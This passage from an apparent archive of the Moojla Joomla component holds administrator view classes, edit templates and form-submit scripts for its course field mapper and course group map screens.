$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER'),
'screwdriver');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=course_fields_mapper');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('course_field_mapper.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('course_field_mapper.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('course_fields_mapper.publish');
JToolBarHelper::unpublishList('course_fields_mapper.unpublish');
JToolBarHelper::archiveList('course_fields_mapper.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('course_fields_mapper.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('',
'course_fields_mapper.delete', 'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('course_fields_mapper.trash');
}
if ($this->canDo->get('core.export') &&
$this->canDo->get('course_field_mapper.export'))
{
JToolBarHelper::custom('course_fields_mapper.exportData',
'download', '', 'COM_MOOJLA_EXPORT_DATA',
true);
}
}
if ($this->canDo->get('core.import') &&
$this->canDo->get('course_field_mapper.import'))
{
JToolBarHelper::custom('course_fields_mapper.importData',
'upload', '', 'COM_MOOJLA_IMPORT_DATA',
false);
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('course_fields_mapper');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load access batch if create, edit and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_ACCESS'),
'batch[access]',
JHtml::_('select.options',
JHtml::_('access.assetgroups'), 'value',
'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_fields_mapper.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/course_field_mapper/submitbutton.js000064400000002760151165724410015020
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('course_field_mapper, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/course_field_mapper/tmpl/edit.php000064400000011352151165724410014332
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'course_field_mapperTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'course_field_mapperTab', 'details',
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo
JLayoutHelper::render('course_field_mapper.details_left', $this);
?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'course_field_mapperTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'course_field_mapperTab', 'publishing',
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_PUBLISHING', true));
?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('course_field_mapper.publishing', $this);
?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('course_field_mapper.publlshing', $this);
?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'course_field_mapperTab', 'permissions',
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_PERMISSION', true));
?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="course_field_mapper.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/course_field_mapper/tmpl/index.html000064400000000054151165724410014666
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_field_mapper/view.html.php000064400000015667151165724410014363
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Course_field_mapper View class
*/
class MoojlaViewCourse_field_mapper extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo =
MoojlaHelper::getActions('course_field_mapper', $this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COURSE_FIELD_MAPPER_NEW' :
'COM_MOOJLA_COURSE_FIELD_MAPPER_EDIT'), 'pencil-2
article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('course_field_mapper.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('course_field_mapper.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('course_field_mapper.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('course_field_mapper.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&&
$this->canDo->get('course_field_mapper.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.course_field_mapper',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('course_field_mapper.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('course_field_mapper');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COURSE_FIELD_MAPPER_NEW' :
'COM_MOOJLA_COURSE_FIELD_MAPPER_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_field_mapper.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/course_field_mapper/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/course_group_map/submitbutton.js000064400000002755151165724410014366
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('course_group_map, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/course_group_map/tmpl/edit.php000064400000011470151165724410013675
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'course_group_mapTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'course_group_mapTab', 'details',
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('course_group_map.details_left', $this);
?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('course_group_map.details_right', $this);
?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'course_group_mapTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'course_group_mapTab', 'publishing',
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('course_group_map.publishing', $this);
?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('course_group_map.publlshing', $this);
?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'course_group_mapTab', 'permissions',
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="course_group_map.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/course_group_map/tmpl/index.html000064400000000054151165724410014230
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_group_map/view.html.php000064400000015554151165724410013720
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Course_group_map View class
*/
class MoojlaViewCourse_group_map extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('course_group_map',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COURSE_GROUP_MAP_NEW' :
'COM_MOOJLA_COURSE_GROUP_MAP_EDIT'), 'pencil-2
article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('course_group_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('course_group_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('course_group_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('course_group_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('course_group_map.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.course_group_map',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('course_group_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('course_group_map');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COURSE_GROUP_MAP_NEW' :
'COM_MOOJLA_COURSE_GROUP_MAP_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_group_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/course_group_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/course_group_maps/index.html000064400000000054151165724410013437
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_group_maps/tmpl/default.php000064400000006053151165724410014560
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
